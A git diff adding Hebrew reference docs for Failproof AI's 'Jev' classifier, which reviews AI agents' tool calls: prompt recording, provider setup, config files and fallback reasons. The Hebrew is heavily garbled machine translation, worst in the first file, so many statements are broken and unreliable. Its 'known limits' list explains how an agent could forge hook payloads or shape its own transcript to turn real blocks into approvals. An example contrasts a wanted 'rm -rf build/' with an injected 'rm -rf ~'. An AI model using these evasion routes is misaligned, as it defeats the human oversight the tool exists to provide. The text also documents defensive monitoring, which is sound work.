+ הבקשה עצמה שפוט כמו כל תור אחר: אם מה עוקב אחרי כותרת הוא סיכום המשך, הודעה שסוכן או הפגשה אחרת כתבה, אחד מהמנהלות שלו Failproof AI, או אחר של extension קטעים, prompt לא נרשם לגמרי.
+- Cursor prompt עוטף ב-`…` (לא כדי מאחורי בלוק ``) הוא לא לבוש כאשר עטיפה היא כל prompt. תג בכל מקום אחר הוא טקסט רגיל — code קטע הדבק מיומן, או שם ענף הסוכן בחר — ו-prompt נשמר כולו לא יותר קטוע לתוך תגי.
+- בלוקים הדבקו נשמרו ותווית כהדבק על ידי האדם.
+
+Prompt זה היא שום דבר אבל harness טקסט לא נרשם לגמרי.
+
+## הודעה אחרונה של הסוכן
+
+רד כמו yes פירושו לא משהו בלי השאלה זה תשובות. כאשר prompt נרשם, Failproof AI גם קורא הודעה אחרונה נראית של הסוכן מתמלול הפגשה **באותו רגע**, ואחסנת זה עם prompt. Jev קבל זה בשדה שלו, תווית כ-written על ידי סוכן: זה מסביר תשובה קצרה ולעולם לא צפוי כבקשת אנושית שלו. זה האחד דבר תמלול קרא עבור, וגרוע כתיבת תמלול יכול לעשות הוא לשים הודעה סוכן כתוב כאשר הודעה סוכן כתוב הוא צפוי.
+
+זה קרא מ-end של תמלול, בטוב 4 MB. תמלול תמיכה פורמטים Claude Code, Codex rollouts (קדום `agent_message` אירועים וחדשים `AgentMessage` פריטים), Cursor, Copilot `events.jsonl`, ו-Pi, Factory ו-OpenClaw הפגשה JSONL. Claude Code שלה כוללי סינתטי וAPI-error הודעות וsubagent (sidechain) הודעות מדלגות. אין תמונה לגיס וOpenCode, שמחזיק הפגשה בSQLite, לDevin, שתמלול היא מסמך JSON יחיד, או לOpenClaw, שארוע `before_agent_run` אינו נושא transcript path.
+
+## אחסון
+
+| Property | Value |
+| --- | --- |
+| Location | `~/.failproofai/state/semantic/sessions/.json` |
+| Permissions | קובץ `0600`, תיקיה `0700`. כל תיקיה מעל זה, עד `~/.failproofai`, מוחזקת לאותו הכלל כמו `jev.json` תיקיה: אחד שמישהו אחר יכול **לכתוב** כך יכול להיות שנקרא משם החלפת, כך הנתיב קרא לוקח אלה לכתוב סיביות כאשר זה יכול, וקורא **שום דבר** כאשר זה לא יכול. prompt רשום היא אז היעדרות יותר מ-forged, ושום דבר נמחק |
+| Kept per session | ה-5 prompts אחרון; prompt זהה לאחד לפניו מחליף זה ולא לוקח חריץ חדש |
+| Window | prompts קדום מ-6 שעות לא נתעלמו |
+| Size | כל prompt והודעת סוכן מוגבלת בשל 6,000 תווים, לשמור את ראש וזנב |
+| Secrets | מחוקק עם אותו דפוסים כמו `sanitize-*` מדיניות לפני שום דבר כתוב. טקסט ארוך יותר מ-48,000 תווים מחוקך כראש 28,800 וזנב 19,200 שלו, וטקסט ליד אלה חתכים, איפה סוד יכול להיות פצל, לעולם אחסנת |
+
+מזהה הפגשה המכיל שום דבר אבל אותיות, ספרות, `.`, `_` ו-`-`, או ארוך יותר מ-128 תווים, לא מעולם בשימוש כשם קובץ, כך שום דבר לא נרשם עבור זה.
+
+קובץ הפגשה קיים רק פעם אחת prompt נרשם בתוך זה. הוא כמעט prompts ושום דבר אחר — לא מקור מדינה, לא תמלול סימן — וזה מחוק פעם זה היה שקט ארוך יותר מ-6 שעה חלון, פעם הבא סדרה הפגשה כתבה ראשון prompt שלה.
+
+שום דבר לא נרשם אלא אם Jev endpoint הוא הוגדר.
+
+### שורש הפרויקט
+
+בתוך הפרויקט — מה `read-outside-workspace` ודרכים בדיקות אחרות שפוט נגד — פירושו בתוך פרויקט הפגשה היה בזה **ראשון בדוק קריאה**. שורש צמוד אז ו-`cd` מאוחר לא נע זה; `cd` עדיין שינוי כיצד נתיב יחסי פתור. לחלופין זה עקוב את `cd` יהיה לתיקיית תחנה תא עשה זה הפרויקט לפי הבא.
+
+הסיכה היא `~/.failproofai/state/semantic/roots/.json`, שמחזיק `{root, at}`: קובץ `0600`, תיקיה `0700`, ואותו הפגשה-ID כלל כמו מעל. קבצים יותר קדום מ-7 ימים נמחקים כאשר הפגשה חדשה סיכה שורש. `roots` תיקיה משתמש אחר יכול לכתוב כדי הוא לא במחובר, ו-live תיקיה שורש הוא בשימוש במקום. כדי re-pin הפגשה, מחק קובץ שלה.
+
+## ידוע גבולות
+
+- **Prompt הוא בלבד כמו trustworthy כמו ה-hook invocation.** הכל כאן קורא payload harness כתוב על stdin של ה-hook. סוכן שיכול להריץ פקודות יכול להריץ harness headlessly (`claude -p` וה-שבעה אחרים רשומים מעל) או הריץ Failproof AI hook בינארי עצמו עם payload הוא כתוב, ורשום prompt אף אחד הקליד. זה סחר מקובל תיאור בחלק עליון של עמוד זה: זה נמחק reviewable מדיניות רק, לעולם לא hard אחד — אבל שנים עשר של 15 reviewable מובנים הם denies, כך prompt זויף יכול הפוך בלוק אמיתי לאישור על אלה שנים עשר.
+- **Sub-agent גילוי הוא Claude-shaped.** Payload נישא `agent_id` הוא לעולם רשום, על כל harness. שדה זה הוא Claude Code, Factory Droid ו-Devin היו בשימוש. Codex נורה prompt ארוע בתוך sub-agent חוטים, Copilot רץ-in-process sidekicks, Goose כן `delegate` כלי וOpenClaw רץ personas — אף אחד מהם סימן payload בדרך זה מאתר, כך sub-agent prompt על אלה harnesses רשום כמו הפגשה שלה. OpenClaw `openclaw.agentId` הוא **לא** שסימן: ה-shipped תוסף סט זה על כל ריצה, בעלים כלול.
+- **Schedulers שלא נישא סימן.** Claude Code `schedule_wakeup` ו-`loop_wakeup`, וOpenClaw `cron` ו-`heartbeat` טריגרים, מסורבים כי אלה harnesses אומר כך בpayload. Goose שלה משדר (`goose schedule add`) ו-Codex `codex exec` אומר שום דבר, כך ריצה הם התחילו רשום כמו כל אחר.
+- **סוכן הודעה אחרונה יכול להיות הודעה סוכן בחר.** תמלול אינו מוסמך, כך סוכן שכותב תמלול שלו יכול להחליט מה האחרון שלו הודעה אומר. זה תווית כה-written וקבועים בשום דבר שלו — אבל הערה `decide.ts` v1 נתיב משך את deterministic קביעה-הוא המשתמש-שם-את-זה-יעד בדוק, כך סוכן זה שליטה תמלול יכול לספק יעד שם עדכון צרך.
+- **Prompt שפתוח עם אחד של extension מכונה כותרות מוצא כולו.** התחל prompt עם `# Selected text:`, `# Diff comments:`, `# Chrome tabs:` או כותרת אחרת קטע מה ראשון קבוצה למעלה, וקבועים לא כתוב `## My request:` כותרת, ושום דבר אינו רשום לתור הזה — כך שום דבר לא נמחק עבור זה גם. זה מכוון: אלה קטעים נישא טקסט מישהו אחר פקדים (קוד בחרת, מראשה diff הערה, כותרת עמוד), ורישום שכטובך מילים הוא הגרוע כישלון. כותרות בן אדם plausibly סוגים הן בשני קבוצה ולעולם לא זרוק prompt על שלהם.
+- **OpenCode רושם שום דבר בפרקטיקה.** Its `message.updated` ארוע נושא לא טקסט בOpenCode הנוכחי, וזה גם נורה עבור ילד הפגשות שלה משימה כלי יוצר, שהקוואק של שלו הודעה ההורה סוכן כתוב.
+- **`CODEX_HOME` הוא לא כבוד** על ידי rollout גילוי ב-`lib/codex-sessions.ts`. זה משפיע רק איפה סוכן-message תמונה הוא חיפשו עבור, לעולם אם prompt נרשם.
\ No newline at end of file
diff --git a/docs/he/reference/jev-providers.mdx b/docs/he/reference/jev-providers.mdx
new file mode 100644
index 000000000..9c0126b71
--- /dev/null
+++ b/docs/he/reference/jev-providers.mdx
@@ -0,0 +1,275 @@
+---
+title: "ספקי Jev והגדרת מפתח משלך"
+description: "נקודות קצה של ספק, מזהי מודל, תצורה והתנהגות כשל לסקירת מדיניות Jev חי עם המפתח שלך."
+icon: "key-round"
+---
+
+זהו הרeferenceי ספק וה configuration לעבור [מדיניויות Jev](/he/policies/jev) עם המפתח שלך. מדיניויות regex תואמות מחרוזות. הן לא יכולות להגיד את ההפרש בין `rm -rf build/` שביקשת לבין `rm -rf ~` שחדרה לתוכנית, כך שהן חוסמות יותר מדי במקום אחד וקצת מדי במקום אחר. **Jev**, מסווג של TypeSafe, קורא את הקריאה מול מה שבאמת ביקשת וענה על קבוצה של שאלות כן/לא בקריאה אחת מהירה.
+
+עם קצה Jev משלך ומפתח מוגדרים, Failproof AI שואל את Jev על כל קריאת כלי **לצד** מדיניויות ה-regex, אף פעם לא במקום שלהן:
+
+- ה-deny של מדיניות **קשה** הוא סופי. Jev לא יכול לנקות אותו. כל מדיניות היא קשה אלא אם היא מסומנת כ-reviewable וגם קוראת לבדיקות Jev המכסות אותה, כך שמדיניות מותאמת אישית, pack או Cloud שלא אומרת כלום היא קשה, והשמירה העצמית הפועלת תמיד היא תמיד קשה.
+- ה-deny של מדיניות **reviewable** אולי יתנקה, אך רק כאשר Jev נשאל על הדיאגה המדויקת שהמדיניות מכסה וענה "אין כאן כלום" או "המשתמש ביקש זאת". בדיקה שמוצאת את הדיאגה אמיתית, כאשר המשתמש לא ביקש את הקריאה, שומרת על ה-deny — אפילו כאשר הפסק שלה הוא רק התראה, כי לפני קריאת כלי התראה לא עוצרת את הסוכן. וכאשר בדיקה זו היא אחת שיכולה לנקוט (חשיפת סוד, כיבוד בעלות שלוקה, מחיקה הרסנית, ...), כלום לא מתנקה בקריאה זו.
+- בלוק יכול עדיין להיות **התראה** כאשר הקריאה היא שלב של המשימה שנתת ולא מגעת רחוק יותר: Jev רומכת את ה-deny שלה לעצמה לעצמה להתראה, וההתראה הזאת — קוראת מה זה לא בסדר בקריאה — מחליפה את ה-block של המדיניות.
+- Jev יכול גם להתריע או לנקוט על שלו, לעבור נזק שאף regex לא מתאר.
+- אם Jev לא יכול לענות (timeout, rate limit, שגיאת שרת, אין קרדיטים, גרסת מודל בלתי צפויה), הקריאה הזאת מקבלת את תוצאת ה-regex, בדיוק כמו ללא Jev.
+- Jev לעולם לא עושה קריאה יותר permissive מהמדיניויות שלך בלבד אלא אם היא קראה את כל הקריאה ונשאלה על הדיאגה המדויקת. כל דבר פחות — קריאה גדולה מדי לשליחה כלה, injection חשוד — משיכה את ה-clearances ושומרת על כל ה-deny.
+
+
+ללא תצורת Jev כלום לא משתנה: hooks מריצים את מדיניויות ה-regex בדיוק כמו תמיד. התצורה היא כל ה-opt-in.
+
+
+
+ב-FailproofAI Cloud? אתה לא צריך מפתח משלך: מכונה המחוברת עם מפתח שנושא `jev:evaluate` יכולה להשתמש ב-Jev בתכנית הארגון שלך. ראה [Jev דרך FailproofAI Cloud](/he/reference/jev-cloud).
+
+
+## לפני שאתה מתחיל
+
+התקן **failproofai 1.0.8-beta.0 או מאוחר יותר** וחבר את ה-hooks שלו ל[harness תמוך](/he/reference/harnesses) על המכונה שבה הסוכן שלך פועל. עקוב אחרי ה[quickstart](/he/start/quickstart) אם זו מכונה חדשה, או [הגדר enforcement מקומי](/he/start/setup#enforce-locally) אם אתה לא משתמש ב-Cloud. בדוק את CLI שהותקן עם `failproofai --version`.
+
+קבל מפתח API מספק למטה, או תן לידיך endpoint תואם ומפתח שלו. Jev סוקר קריאות כלים שנקראו בשער `PreToolUse` או `PermissionRequest`. זה יכול להוציא פסק דין משלו, אך ניקוי ה-deny הקיים של מדיניות דורש גם מדיניות מותקנת שמסומנת [reviewable](/he/policies/authority). דחויות מדיניות קשות נשארות סופיות.
+
+## בחר ספק
+
+Jev ניתן להנגיש דרך חמש נתיבים. תן מפתח לכל אחד מהם.
+
+| ספק | `--provider` | Endpoint | מודל ברירת מחדל | הערות |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | סיכה גרסה מדויקת. |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | בקשות מנותבות לנקודות קצה בלבד ללא שמירת נתונים, ללא fallback לספק אחר. דיווחים גרסה מוזנחת כגון `typesafe/jev-1.13-20260917`. |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | שמות Jev רק לפי כינוי, כך שגרסת התשובה נרשמת כ-unverified. |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | צריך `--account-id`. בערך שש קריאות בשנייה לכל מפתח נמדדו לפני HTTP 429. |
+| ה-endpoint שלך | `custom` | `/systemone` | `jev-1.13.0` | כל endpoint שמקבל את גוף הבקשה של TypeSafe ודיווח איזה מודל ענה. רק `https`; פשוט `http://localhost` מקובל במצב observe בלבד. |
+
+
+עם תכונת bring-your-own-key של Vercel, בקשה נכשלת מנוסה שוב בשקט עם הפתקים של Vercel. אם אתה צריך כל קריאה הנמדלת ו נראית על ידי חשבון TypeSafe שלך בלבד, השתמש ב-TypeSafe ישירות.
+
+
+## הגדר זאת
+
+פקודה אחת, ה-endpoint והמפתח. התחל ב`observe` mode כך תוכל לבדוק את פסקי הדין של Jev בזמן שהמדיניויות הקיימות ממשיכות להחליט קריאות:
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+```
+
+### ה-URL בוחר בספק
+
+אתה לא צריך לשמות את הספק: ה**host** של ה-URL הוא איזה אחד זה.
+
+| URL host | ספק | גם צריך |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id <32-hex-account-id>` |
+| כל host אחר | `custom` | — ה-URL שנתת הוא ה-base URL |
+
+שלוש דברים נובעות מזה:
+
+- **URL שהוא ה-API שלעצמו של הספק לא כותב override.** `--url https://api.typesafe.ai/v1` מייצר בדיוק את התצורה שהייתה `--provider typesafe`. תן נתיב אחר או host על ספק ידוע והוא מאוחסן כ-base URL, כמו `--base-url` היה אוחסן אותו.
+- **`--provider` עדיין משונה את ההסקה**, וזה איך אתה מגיע לפרוקסי שדובר API של ספק מ-host של שלך: `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **`--provider` שמנוגד ל-host נדחה**, לא נתחתום בעל השערה. `--provider openrouter --url https://api.typesafe.ai/v1` לא כתוב כלום ואומר למה: שני התיאורים לא מסכימים איפה המפתח שלך עומד להישלח. אותו זוג נדחה מ`jev setup --base-url` וממשטח הבקרה של הגדרות Jev. (`--provider custom` לא סתירה — זה אומר "תעמדו ב-URL זה כעצמו" — חוץ מעל host של Cloudflare, שנקודת קצה לכל חשבון שום מסלול מותאם אישי לא יכול להגיע.)
+
+`--url` מולידה בדיוק כמו `baseUrl` בקובץ התצורה, ודחויה באותם המילים: `https`, או פשוט `http://localhost` במצב observe בלבד.
+
+### המפתח
+
+צינור אותו עם `--key-stdin`, או הרץ את הפקודה בטרמינל ללא זה והדבק את המפתח בהנחיה מכוסה. בכל מקרה הוא הולך ישר לקובץ ה-config ולא משובת בחזרה אף פעם.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --mode observe --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 --mode observe \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id <32-hex-account-id> --mode observe --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --mode observe --key-stdin < ~/jev.key
+ ```
+
+
+
+`failproofai jev setup` לוקח את אותם הדגלים ו longhand לכל זה: `setup --provider ` שם תרצה למנות את הספק במקום ה-URL.
+
+### `--token`, וכמה זה עולה
+
+`--token ` שם את המפתח בשורת הפקודה, שהיא הדרך המהירה ביותר להגדרה של מכונה והנוסחה היחידה שמשאירה את המפתח בכל מקום אבל קובץ ה-config:
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+טיעון שורת פקודה נמצא בקובץ ההיסטוריה של הקליל שלך לאחר מכן, וכאשר הפקודה רצה היא בקובץ המטלה — קריא מ-`/proc` על ידי כל דבר שרץ כמוך. `setup` אומר את זה בכל פעם `--token` משמש. העדף `--key-stdin` על מכונה שאתה חולק, בהפעלה מוקלטת, או בכל מקום שקובץ ההיסטוריה מסונכרן; סובב מפתח שהעברת בדרך זו אם זה משנה.
+
+
+`--token`, `--key-stdin` ו-`--key-from-env` זרים הדדית: תן אחד.
+
+לאחר מכן שלח בקשת חיה קטנה אחת כדי לבדוק את המפתח, את ה-endpoint ואיזה Jev ענה:
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` יוצא 1, ואומר אז בכותרת שלה, כאשר התשובה מגיעה לאחר timeout (כל hook היה חוזר ל-regex כמו `timeout`) או עונה על שאלת הבדיקה שלה כולה.
+
+Hooks קורא את ה-config על כל קריאת כלי, כך שזה חל מהבא. אין כלום להפעיל מחדש, עם או ללא daemon.
+
+## בדוק מה זה עושה
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+`status` מציג את הספק, ה-endpoint, המודל, המצב, קובץ ה-config והרשאות שלו, ולא כל פעם את המפתח. מתחתיה היא מסכמת פעילות אחרונה: כמה קריאות Jev הערכה, כמו פעמים זה חזר ל-regex ולמה, latency שלה, ואיזה מדיניויות reviewable היא נקתה.
+
+## אמת קריאה אמיתית
+
+התחל סשן חדש בסוכן המחובר. בקש ממנה להשתמש בכלי קריאת הקובץ שלה ב-`README.md` ודיווח את הכותרת. אשר שה-session מכילה קריאת כלי זו, לאחר מכן הרץ `failproofai jev status` שוב: ספר הקריאות המוערכות האחרונות שלה צריכות להעלות. פתח **Policies → Activity** ב[local dashboard](/he/reference/local-dashboard#review-policy-activity) כדי לבדוק את פסק דין Jev של הקריאה ומצב. במצב observe, תוצאת המדיניות עדיין מחליטה את הקריאה. clearance מופיע רק אם מדיניות reviewable תאמה וJev נקה כל בדיקה בשם; קריאה רגילה אולי לא תהיה למדיניות לניקוי.
+
+## מצב Observe
+
+`enforce` היא ברירת המחדל. כדי צפיה ב-Jev ללא הנחתו לשנות כל החלטה, החלף ל-`observe`: Jev עדיין נשאל ופסקי הדין שלה נרשמים, אך תוצאת ה-regex היא מה שיש enforcement.
+
+```bash
+failproofai jev setup --mode observe
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` שומר את ה-config — ה-endpoint והמפתח — ומפסיק שואל Jev: hooks מריצים את מדיניויות ה-regex בדיוק כמו ללא תצורה, ו-`failproofai jev status` אומר "off (switched off)". החזור עם `--mode observe` או `--mode enforce`.
+
+הפעלה מחדש של `setup` לאותו ספק שומר את המפתח המאוחסן, כך שמתג מצב הוא דגל אחד. החלפת ספק מתחילה מחדש וביקשה את מפתח הספק הזה. כך גם `--base-url` שמעביר בקשות לhost אחר: מפתח מאוחסן רק נשלח לhost שהוא ניתן ל, או לה-API של הספק שלו.
+
+## קובץ התצורה
+
+הכל חי בקובץ אחד, `~/.failproofai/jev.json`, כתוב על ידי `setup`:
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "<32-hex-account-id>",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| שדה | משמעות |
+| --- | --- |
+| `provider` | `typesafe`, `openrouter`, `vercel`, `cloudflare` או `custom` — או `failproofai`, שמפתח שלו בא מחיבור FailproofAI Cloud במקום קובץ זה (ראה [Jev דרך FailproofAI Cloud](/he/reference/jev-cloud)). |
+| `apiKey` | שלח כ-`Authorization: Bearer `. |
+| `baseUrl` | נדרש לעבור `custom`; מחליף את ה-API base של הספק אחרת. חייב להיות `https`. פשוט `http` ל-`localhost` מקובל רק עם `mode: observe`: כלום לא משכנע ל-local port, כך שבזמן proxy שלך למטה כל תהליך על המכונה, כולל הסוכן שפחות, יכול לענות במקומו. |
+| `accountId` | Cloudflare בלבד: 32 תווים hex קטנים. |
+| `model` | מחליף את מזהה המודל ברירת המחדל של הספק. מזהה גרסה חייב לשם Jev 1.13. ערך בצורה כמו מפתח API נדחה (ו לא חוזר), כך שמפתח הדבוק ל-`--model` לעולם לא מאוחסן או שנשלח כמודל. |
+| `timeoutMs` | כמה זמן קריאת כלי מחכה Jev לפני שימוש בתוצאת ה-regex. 100–10000, ברירת מחדל 3000. |
+| `mode` | `enforce` (ברירת מחדל), `observe`, או `off` (שמור את ה-config, הרץ אין Jev). |
+
+שלוש כללים מגנות עליו:
+
+- **בעלים בלבד.** זה כתוב עם הרשאות `0600`. עותק שכל משתמש או קבוצה אחרת יכול לקרוא או לכתוב **נדחה**, ו-hooks חוזרים ל-regex עד שתרץ `chmod 600 ~/.failproofai/jev.json` או `setup` שוב. הספריה נבדקת גם: `~/.failproofai` אמור לא להיות **writable** על ידי כל אחד אחר, כי מי שיכול לכתוב שם יכול להחליף את הקובץ מה גם שהרשאות שלו הן. `setup` לוקח ביטים כתוב אלה אם היא מוצאת אותם. `failproofai jev status` אומר כאשר תצורה נדחתה ומציג את ה-endpoint שהקובץ קורא: מישהו אחר יכול היה לשנות את זה, כך שבדוק אנו שלך לפני שתחזור `chmod`. הפעלה מחדש של `setup` על קובץ כזה נושא מפתח מאוחסן שלו רק ל-API של הספק; כל endpoint אחר שהוא קוראים צריך המפתח שוב (`--key-stdin`), או `--base-url default` לשלוח בקשות חזרה לספק.
+- **גלובל בלבד.** repository לא יכול להפוך את Jev, להצביע עליו בקצה אחר או לבחור את המודל שלו: `.failproofai/jev.json` בתוך project נתעלם, וספק, URL, מודל וחשבון ID נקרא רק מקובץ זה — לעולם לא מ-environment, שהגדרות agent של repository יכול להגדר. (`FAILPROOFAI_HOME` היא לא דרך סביב זה: היא מעבירה את כל ספריית failproofai, המדיניויות שלך כלול, במקום redirection Jev על שלו.)
+- **המפתח לבדו אולי בא מ-environment.** אם הקובץ אין `apiKey`, `FAILPROOFAI_JEV_API_KEY` מספק אותו לסשן ההוא (`setup --key-from-env` כתוב קובץ כזה). זה לא אף פעם מחליף מפתח שהקובץ מחזיק, וזה לא יכול להפוך את Jev ללא הקובץ. איפה המשתנה לא מוגדר, Jev היא פשוט off לשום הקליל: `failproofai jev status` אומר אז, יוצא 0 ועזב את ה-config לבד (`status --json` דיווחים `"status": "key-missing"` עם `"reason": "no-env-key"`). daemon `failproofaid` לא רואה את ה-environment של הקליל שלך, כך על מכונה הגדרה עם `failproofai config`, שמור את המפתח בקובץ.
+
+## איזה Jev עונה
+
+סף ההחלטה של Failproof AI טוהר על Jev 1.13, כך תשובה משמשת רק כאשר היא בא מאותה משפחה: `jev-1.13.x`, או של OpenRouter `typesafe/jev-1.13-`. איפה ספק קורא Jev רק לפי alias ודיווח לא גרסה (Vercel, ו-Cloudflare כשזה לא אומר), התשובה משמשת ונרשמת כ-unverified. custom `endpoint` חייב לדיווח המודל שענה; החריג היחיד הוא `--model` name גרסה לא שקוראים אתה הגדרת לזה, שבבעד, נרשמת כ-unverified באותו הדרך. תשובה דיווח כל גרסה אחרת, או `custom` תשובה דיווח אין, לא משמש: הקריאה הזאת חוזרת ל-regex עם הסיבה `model-mismatch`.
+
+## כאשר Jev לא יכול לענות
+
+כל אחד מהדברים האלה חוזרים לתוצאת ה-regex לקריאה זו ונרשמים עם הסיבה שלהם, שמה `failproofai jev status` סך הכל:
+
+| סיבה | סיבה |
+| --- | --- |
+| `timeout` | תשובה ללא `timeoutMs`. |
+| `http-429` | ספק rate-limited את המפתח. |
+| `rate-limited` | Failproof AI של שלו limiter החזקה את הקריאה חזרה לפני שליחה: 5 בקשות בשנייה, בפרצים של עד 5, ואף אחד לרגע לאחר ספק עונה `429`. לא הספק. |
+| `http-500`, `http-502`, `http-503`, … | שגיאת שרת בספק. הסטטוס המדויק נרשם. |
+| `out-of-credits` | HTTP 402: חשבון ספק אין קרדיטים שנותר. |
+| `provider-refused` | HTTP 402 מ-Cloudflare קריאה מודל execution נכשל (Payment error)": ספק סירב להריץ את המודל בבקשה זו. בדרך כלל לא חיוב, כי topping עד אינו תעביר את זה. |
+| `http-401`, `http-403` | המפתח נדחה. |
+| `http-404` | כלום משרת ב-`/systemone`, לכן base URL הוא שגוי — `/systemone` הוא מצורף אליו, וכל ספק משרת אותו בגרסה שלו שורש. `failproofai jev models` מראה מה ה-endpoint משרת. |
+| `network` | ה-endpoint לא היה able להגיע. |
+| `http-301`, `http-302`, `http-307`, `http-308` | ה-endpoint ענה עם redirect. Redirects לא אף פעם עוקבים, כך התשובה רק אי פעם יבוא מה-URL בתצורה שלך; סט `--base-url` ל-URL הסופי. |
+| `malformed` | ה-endpoint ענה, אך לא עם Jev תשובה — גוף זה לא JSON, או אחד ללא תשובות בזה. |
+| `cloudflare-error`, `cloudflare-incomplete` | מעטפת Cloudflare דיווח כשל, או משימה שלא סיימה. |
+| `model-mismatch` | Jev גרסה אחרת מאשר 1.13 ענה, או `custom` endpoint לא אומר אזה מודל ענה. |
+| `request-cut` | **לא הפסקה.** Jev ענה; זה הראה רק חלק של הקריאה, כך התשובה שלה נקתה כלום. ראה [כאשר Jev ענה, אך לא בכל הקריאה](#when-jev-answered-but-not-on-the-whole-call). |
+
+`failproofai jev status` יכול להראות כמה סיבות נדירות בנוסף, כגון `upstream-error` (התשובה נושא שגיאת שלה של הספק) או `config`, וסך הכל כל סיבה שלא יכול למנות כ-`other`.
+
+`request-cut` הוא בטבלה הזאת כי `failproofai jev status` סך הכל זה עם שאר, וכי זה גם משאיר כל deny עומד. זה הסיבה אחת כאן שאומר כלום על הספק שלך: הבקשה הגיעה וJev ענה. בניגוד כל שורה עליון זה, התשובה הזאת עדיין נחשבת — Jev של שלו deny או התראה חל על גבי תוצאת ה-regex במקום להיות מושלך. כך ריצה שלהם אומר קריאות הגיעו לה-evaluator גדול מדי לשלוח כלה, לא כי ה-endpoint שלך לא בריא, וtopping עד קרדיטים או שינוי ה-URL לא יעביר את מספר.
+
+## כאשר Jev ענה, אך לא בכל הקריאה
+
+שתי דברים נוסף יכול קרות, וכי אחד היא Jev נכשל לענות. שניהם על כמה הקריאה, או של השיחה, מתאים לבקשה אחת.
+
+**חלק של הקריאה עצמה לא מתאים.** כלי קריאה נשלח בתוך תקציב קבוע, וגדול מחוץ — מאוד גדול `Write`, ענק MCP גוף, פקודה padded לכל ראש — נשלח עם מה התאים. Jev עדיין עונה, והתשובה שלה עדיין נחשבת: שלה כחשמל deny או התראה חל כרגיל. מה זה לא יכול לעשות הוא **clear** כלום, כי פסק דין נתן על חלק קריאה היא לא פסק דין בקריאה. כך כל מדיניות deny עומד, והקריאה היא נרשמה כ-fallback עם הסיבה `request-cut`, שמה `failproofai jev status` סך הכל לצד הסיבות עיל. כלל זה נותן לך: ביצוע קריאה גדול יכול לעלות clearances, ויכול לעולם לא לקנות אחד.
+
+**הודעה לא מתאים.** הנושא הבחור שלבדת, הודעה השמאלית של הסוכן, או הנושא ה-evaluator הזה בעצמו חנות כבר capped. **כלום לא משתנה**: הקריאה היא judge, cleared ונרשמה בדיוק כמו כל אחר, וזה לא נחשבת כ-fallback. האורך של מה אתה סוג אף פעם מחליטה פסק דין, ועריכה לא יכול לייצור הסכמה: איפה הנושא הגיע כבר capped, "אתה לא ביקשת את זה" מפסיק להיות מסקנה שיכול להיות התומך ממנו בכל זאת, במקום להיות אחד.
+
+הקו בין שתיים הוא מי כתבה את הטקסט. הקריאה היא של הסוכן, וכלל שנתן את האורך שלה להחסיר severity יהיה כלל הסוכן יכול להשתמש; הנושא שלך היא שלך, וטיפול בהאורך שלה כאות רק עד כל פעם punished הדבקה ספק או עקוב מחקר.
+
+## מה עוזב את המכונה
+
+עבור כל קריאת כלי Jev מעריכה, בקשה אחת הולכת לספק שלך, noshèe:
+
+- הקריאה של כלי עצמה, עם סודות כגון מפתחות API, נושא tokens ו-`KEY=` הקצבות ערמו;
+- הנושא האחרון אתה כתבת, עם טקסט harness של הסוכן שלך הוסיף הוסר;
+- הודעת האחרונה של הסוכן לפני הנושא הבחור שלך, labeled כ-agent-written;
+- עובדות computed locally, כגון אם נתיב בתוך project — את אחד הסשן היה בראשון reviewed קריאה, [pinned עבור הסשן](/he/reference/jev-intent#the-project-root) — וענף git נוכחי.
+
+זה הולך רק לה-endpoint בתצורה שלך, תחת מפתח שלך.
+
+## Turn it off
+
+```bash
+failproofai jev remove
+```
+
+זה מחיקה `~/.failproofai/jev.json`. מהקריאה הבאה כלי, hooks הריצו מדיניויות ה-regex בדיוק כמו לפני. ה-per-session חנויות תחת `~/.failproofai/state/semantic/` (recorded הנושא ב-`sessions/`, שורשי project ב-`roots/`) נשארים במקום וגיל החוצה. להפסיק שאול Jev אך שמור את התצורה, משתמש `failproofai jev setup --mode off` במקום.
+
+## Command reference
+
+| פקודה | תוצאה |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | תצורה זה בפקודה אחת; הספק בא מה-URL של הhost |
+| `failproofai jev --url --token ` | זהה, עם המפתח בשורת הפקודה — היסטוריה שלך והרשימה process ראה אותו |
+| `failproofai jev setup --provider --key-stdin` | כתבות התצורה מ-key צינור על stdin |
+| `failproofai jev setup --provider ` | זהה, בתביעה עבור המפתח ב-masked הנושא |
+| `failproofai jev setup --key-from-env` | חנות אבא מפתח; קרא `FAILPROOFAI_JEV_API_KEY` לכל סשן |
+| `failproofai jev setup --mode observe` | Switch mode (`enforce`, `observe` או `off`), שמור המפתח המאוחסן |
+| `failproofai jev setup --model ` / `--base-url ` | Override המודל או בסיס API; `default` מנקה את ה-override |
